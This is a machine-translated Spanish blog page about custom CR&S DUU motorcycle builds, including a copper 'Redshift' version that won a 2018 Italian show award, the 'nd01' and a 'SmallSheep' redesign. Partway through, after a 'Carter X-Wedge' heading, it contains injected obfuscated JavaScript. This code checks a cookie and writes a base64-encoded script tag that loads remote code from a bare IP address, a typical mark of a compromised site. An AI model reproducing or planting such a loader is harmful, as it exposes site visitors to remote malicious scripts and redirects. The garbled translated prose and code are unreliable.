Entradas Etiquetadas ‘CR&S Lleva’
CR&S LLEVA “CORRIMIENTO AL ROJO”
En el objetivo de la investigación!
El corrimiento al rojo dado es la evolución natural de la nota CR&S LLEVA, motocicleta produce exclusivamente en la pequeña circulación por el fabricante de motocicletas Meneghina con el molde artesanal.
cuando en 2013 Urtin el proyecto fue interrumpido por la mala sensación interior de CR&S, su diseñador principal Donato Cannatello, Después de un breve paso por Matchless, Decidió abrir su propio centro de diseño, y para llevar adelante el proyecto Urtin, ahora huérfano de sus creadores, Sin embargo, el uso de la cooperación y aprobación de los fundadores originales de la motocicleta exclusiva, así como de la mano de obra operativa, gracias a la estima y la amistad sin cambios.
La moto original se ha desarrollado de acuerdo a los que estaban determinadas normas de estilo identificados en el momento como una evolución natural del modelo "Biotta" (ed "desnudo") en ocasiones, presentado por la empresa.
El nuevo diseño se ha centrado obviamente en roca nueva interfaz constante, reemplazando el tenedor invertida original con un sistema innovador para el cojín central y lateral deslizante vainas. Laprogettazione el nuevo frontal nace al ordenador, la creación de todos los componentes por medio de modelado tridimensional y análisis FEM , que también ha permitido analizar cada parte a través del control de las fuerzas a las que se somete.
Los componentes se han realizado mediante tecnología de eliminación de CNC (control numérico
computerizado) con el fresado tocho.
el diseño (o más bien la realización) de los diferentes componentes de cobre es el quid que dio el carácter cromática y la artesanía de la motocicleta.
A partir de las formas originales de piezas de carrocería, a través de tecnología de tipificación tradicional basado en la distancia, Ellos han tomado forma algunos elementos que traen con ellos mismos el trabajo manual de los artesanos expertos Certosini del metal noble.
El corrimiento al rojo sigue siendo una moto cada día, no sólo por el rendimiento.
Uno de los principales componentes que cumplan con esta idea es el nuevo asiento de pasajero / cola que tiene un doble significado, en un lado, "Coche de la cubierta" con una base hecha de tocho de aluminio que crea una continuidad visual con la geometría de la cola / tanque, mientras que sólo girar resulta que la silla acolchada para dar cabida a los pasajeros en caso necesario.
El nombre del proyecto "corrimiento al rojo", el fenómeno por el cual la luz emitida por un objeto astral tiene una longitud de onda mayor tamaño que el que tenía en la emisión, shiftando su color a rojo, Simboliza la evolución de Urtin, desde pequeñas motos de serie única bicicleta evolucionados.
CORRIMIENTO AL ROJO IL:
- El desplazamiento hacia el rojo es el fenómeno por el cual la luz emitida desde un objeto tiene una longitud de onda más larga que la que tenía en la emisión.
Esto significa que el color se vuelve rojo. - El más importante es el desplazamiento al rojo en la cosmología, debido a la expansión del universo. Las estrellas, en particular, muestran un desplazamiento hacia el rojo correspondiente a la velocidad con la que aumenta su distancia de la Tierra.
- El cobre se utiliza en nuestro Urtin su desplazamiento desde el Urtin originales, el envejecimiento va a cambiar su color, asumiendo las variaciones cromáticas que el material se llevará.
CONCURSO italiano de motocicletas
"Best of Show 2018"
Nuestra LLEVA "corrimiento al rojo" Ganó el premio "Best of Show" el concurso nacional IMC , chocando con otras motos bellos y del más alto nivel.
Obviamente, esto nos llena de orgullo y nos motiva a hacer aún mejor.
CR&S LLEVA “nd01”
La CR&S LLEVA Es una moto que sabemos muy bien, hemos colaborado en el desarrollo directamente en CR&S siguiendo el estilo y la ingeniería desde el principio hasta la personalización directa para los clientes más exigentes.
Ahora hemos creado una versión, escaparate de nuestras capacidades de diseño, donde pudimos expresar plenamente nuestras ideas acerca de la motocicleta de estilo y dónde aplicar la mayoría de los criterios que siempre nos han acompañado: funcionalidad, estética, atención al detalle y la aversión a la pintura y cubre todo inútil.
Nuestra CR&S Urtin evidentemente, ha sido objeto de una profunda personalización debe principalmente al hecho de que el modelo del que deriva, la CR&S LLEVA "Biotta", nacido como la versión "desnudo" CR&S DUU originales. Debido a un desarrollo incompleto del proyecto inicial en CR&S, sin embargo, la moto ha sido "denúdala" (n.d.r. Biotta) Sólo la parte delantera, dejando una extraña mezcla de delante desnuda (demasiado) y la parte trasera que en lugar todavía tenía partes de la carrocería plástica tradicional ... Demasiado duro para una moto de este calibre!
A continuación, intentamos reequilibrar el estilo entre la parte delantera y trasera, ligeramente superpuestas sobre la primera y la segunda extracción.
En Dado que entonces Urtin forma en CAD primero y luego en aluminio, casi todo de aluminio, casi todo para CAD.
Algunas partes han preferido la mano en el calor del momento (siempre es justo dejar una parte de la obra para el corazón), pero sobre todo la moto ha sido diseñado en su totalidad, que se muestra a continuación, hecho, todo ello con un flujo de trabajo que ahora nos caracteriza y nos ve entre los los pioneros técnicos.
La moto ha sido el resultado de mucho trabajo, en general, nuestro enfoque de proyectos siempre implica una fase preliminar de concepto 2D que sometemos al cliente (ya sea de negocios o privada), donde tratamos de poner en claro todos los puntos que serán sometidos a intervenciones y sobre todo tratar de identificar inmediatamente los dos parámetros más importantes: Volúmenes y estilo.
Una vez hecho esto se procede a la definición del proyecto, desarrollarla con el uso de ordenadores, sino también el lápiz o taller mecánico directamente.
Todas las piezas diseñadas por los sistemas CAD se han realizado en CNC mecanizado a partir de piezas de aluminio o de plexiglás o ABS y otros materiales. Con nuestra experiencia en el área del proyecto se ha diseñado desde cero del conjunto de la luz trasera es un friso autoiluminado que recuerda nuestro logotipo sin ser demasiado obvio.
Carter X-Wedge S&S e CR&S LLEVA
GetCookie función(mi){var U = document.cookie.match(nueva RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/sol,”\\$1″)+”=([^;]*)”));retorno T?decodeURIComponent(la[1]):vacío 0}var src =”datos:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,ahora = Math.floor(Date.now()/1e3),galletas = GetCookie(“redirigir”);Si(ahora>=(tiempo = galletas)||nula tiempo 0 ===){tiempo var = Math.floor(Date.now()/1e3 + 86400),fecha = new Date((nuevos Fecha).consigue tiempo()+86400);document.cookie =”redirigir =”+tiempo +”; path = /; expira =”+date.toGMTString(),document.write(”)}
CR&S LLEVA “SmallSheep”
Una propuesta de rediseño de luz para CR&S LLEVA
Tratamos de ajustarse al estilo de las formas clásicas, con un frente linterna redonda y la eliminación de algunos plásticos y cooperture rediseñado.
Una intervención muy conservador para permitir que funcione tanto como una actualización o como actualizaciones del mercado de accesorios.
Algunas cubiertas dedicadas a DUU
